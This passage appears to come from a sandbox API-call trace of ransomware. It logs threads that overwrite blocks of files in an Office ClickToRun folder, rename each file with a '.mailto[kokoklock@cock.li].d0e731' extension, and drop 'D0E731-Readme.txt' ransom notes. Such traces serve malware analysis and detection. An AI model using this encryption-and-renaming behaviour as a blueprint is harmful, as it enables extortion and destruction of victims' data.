Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\D0E731-Readme.txt" [0082.631] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\d0e731-readme.txt")) returned 0xffffffff [0082.631] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.631] WriteFile (in: hFile=0x668, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x27c3f890, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x27c3f890*=0x481, lpOverlapped=0x0) returned 1 [0082.632] CloseHandle (hObject=0x668) returned 1 [0082.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493e18) returned 1 [0082.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0082.632] RtlExitUserThread (Status=0x1) Thread: id = 1119 os_tid = 0x1358 [0082.634] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash")) returned 0x20 [0082.634] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash", dwFileAttributes=0x20) returned 1 [0082.635] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.635] GetFileSizeEx (in: hFile=0x668, lpFileSize=0x27cbf8fc | out: lpFileSize=0x27cbf8fc*=102) returned 1 [0082.635] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.635] ReadFile (in: hFile=0x668, lpBuffer=0x27cbf8d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27cbf8cc, lpOverlapped=0x0 | out: lpBuffer=0x27cbf8d0*, lpNumberOfBytesRead=0x27cbf8cc*=0x4, lpOverlapped=0x0) returned 1 [0082.636] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d050 [0082.636] NtQuerySystemTime (in: CurrentTime=0x27cbf8a8 | out: CurrentTime=0x27cbf8a8*=132121176405235166) returned 0x0 [0082.636] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xb11cb2d9 [0082.636] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xc26ae0e [0082.636] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xc457f6d8 [0082.636] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xb4d96455 [0082.636] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xfae4d2a3 [0082.636] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xb6fc413b [0082.636] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x5c5bfcf5 [0082.636] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x961ba74c [0082.636] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x48ee2697 [0082.636] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xe43b6c70 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xd4018bb3 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xe6f850d5 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x4870c5a6 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xd7a20821 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xd787fbcd [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x35a3e569 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x99a1b4c [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x2c8ede6b [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x5e7c4844 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xc4e300c7 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xb1719474 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x498765c [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xfabb2a2e [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xfc720100 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x1e1c1f3d [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x709f6005 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x5e8aa390 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x3e664f13 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x548ecc9c [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xccee68c4 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0xb77da934 [0082.637] RtlRandom (in: Seed=0x27cbf8b4 | out: Seed=0x27cbf8b4) returned 0x82e4c388 [0082.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cdf8 [0082.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cdf8) returned 1 [0082.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.648] ReadFile (in: hFile=0x668, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x27cbf8a8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27cbf8a8*=0x66, lpOverlapped=0x0) returned 1 [0082.648] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x27cbf870 | out: lpNewFilePointer=0x0) returned 1 [0082.648] WriteFile (in: hFile=0x668, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x27cbf8a4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27cbf8a4*=0x66, lpOverlapped=0x0) returned 1 [0082.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cdd0 [0082.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d0c8 [0082.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d0c8) returned 1 [0082.649] WriteFile (in: hFile=0x668, lpBuffer=0x342cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27cbf8a0, lpOverlapped=0x0 | out: lpBuffer=0x342cdd0*, lpNumberOfBytesWritten=0x27cbf8a0*=0x20, lpOverlapped=0x0) returned 1 [0082.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cdd0) returned 1 [0082.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.649] WriteFile (in: hFile=0x668, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x27cbf8cc, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x27cbf8cc*=0x8, lpOverlapped=0x0) returned 1 [0082.649] WriteFile (in: hFile=0x668, lpBuffer=0x27cbf8e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27cbf8cc, lpOverlapped=0x0 | out: lpBuffer=0x27cbf8e4*, lpNumberOfBytesWritten=0x27cbf8cc*=0x4, lpOverlapped=0x0) returned 1 [0082.649] WriteFile (in: hFile=0x668, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27cbf8cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x27cbf8cc*=0x4, lpOverlapped=0x0) returned 1 [0082.649] WriteFile (in: hFile=0x668, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x27cbf8cc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x27cbf8cc*=0x6c, lpOverlapped=0x0) returned 1 [0082.649] WriteFile (in: hFile=0x668, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27cbf8cc, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x27cbf8cc*=0x20, lpOverlapped=0x0) returned 1 [0082.649] WriteFile (in: hFile=0x668, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27cbf8cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x27cbf8cc*=0x4, lpOverlapped=0x0) returned 1 [0082.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.650] CloseHandle (hObject=0x668) returned 1 [0082.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x108) returned 0x33fcab8 [0082.650] wcscpy (in: _Dest=0x33fcab8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" [0082.650] wcscat (in: _Dest=0x33fcab8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" [0082.650] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.651] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcab8) returned 1 [0082.651] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash", dwFileAttributes=0x20) returned 0 [0082.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3493b78 [0082.651] wcscpy (in: _Dest=0x3493b78, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" [0082.651] wcscat (in: _Dest=0x3493b78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\D0E731-Readme.txt" [0082.651] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\d0e731-readme.txt")) returned 0x20 [0082.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493b78) returned 1 [0082.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7e38) returned 1 [0082.651] RtlExitUserThread (Status=0x1) Thread: id = 1120 os_tid = 0x135c [0082.652] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat")) returned 0x20 [0082.653] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat", dwFileAttributes=0x20) returned 1 [0082.653] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.654] GetFileSizeEx (in: hFile=0x668, lpFileSize=0x27d3fbbc | out: lpFileSize=0x27d3fbbc*=882628) returned 1 [0082.654] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0xd77c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.654] ReadFile (in: hFile=0x668, lpBuffer=0x27d3fb90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27d3fb8c, lpOverlapped=0x0 | out: lpBuffer=0x27d3fb90*, lpNumberOfBytesRead=0x27d3fb8c*=0x4, lpOverlapped=0x0) returned 1 [0082.655] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d078 [0082.655] NtQuerySystemTime (in: CurrentTime=0x27d3fb68 | out: CurrentTime=0x27d3fb68*=132121176405547767) returned 0x0 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x5ead668f [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xc077e3e6 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xd560542c [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x57a82132 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x892210bc [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x6a7defaa [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xc9a8f3a5 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x863c23c9 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x424bdd98 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xb4b23920 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xbc1212c8 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x3b1993d8 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xb603c2c4 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xf58019ba [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xe9cb1169 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xdbcf3f91 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x364bcc9b [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x44f3eb0f [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x42c9590a [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xa4d15914 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x3bda34b8 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x1727a9d9 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xee6ba3c4 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xfe856868 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x742933bd [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xb9ac9f5e [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x58bbb25 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x10b7eb0a [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x11d9e79f [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x9f164235 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0xde66c857 [0082.656] RtlRandom (in: Seed=0x27d3fb74 | out: Seed=0x27d3fb74) returned 0x1a2f0b9a [0082.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.667] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.667] ReadFile (in: hFile=0x668, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27d3fb28, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27d3fb28*=0x4096, lpOverlapped=0x0) returned 1 [0082.669] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cdf8 [0082.669] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cdf8) returned 1 [0082.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cdd0 [0082.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d0c8 [0082.670] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d0c8) returned 1 [0082.670] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.670] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.670] WriteFile (in: hFile=0x668, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27d3fb28, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27d3fb28*=0x4096, lpOverlapped=0x0) returned 1 [0082.670] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.670] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x6cfd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.670] ReadFile (in: hFile=0x668, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27d3fb28, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27d3fb28*=0x4096, lpOverlapped=0x0) returned 1 [0082.671] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x6cfd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.671] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd118 [0082.671] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fc88 [0082.671] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cee8 [0082.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cee8) returned 1 [0082.672] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.672] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d168 [0082.672] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce70 [0082.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce70) returned 1 [0082.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0082.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd118) returned 1 [0082.672] WriteFile (in: hFile=0x668, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27d3fb28, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27d3fb28*=0x4096, lpOverlapped=0x0) returned 1 [0082.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.672] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0xd372e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.672] ReadFile (in: hFile=0x668, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27d3fb28, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27d3fb28*=0x4096, lpOverlapped=0x0) returned 1 [0082.673] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0xd372e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.673] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0082.673] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0082.673] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce48 [0082.673] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce48) returned 1 [0082.673] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce48 [0082.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cd30 [0082.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cd30) returned 1 [0082.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0082.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0082.674] WriteFile (in: hFile=0x668, 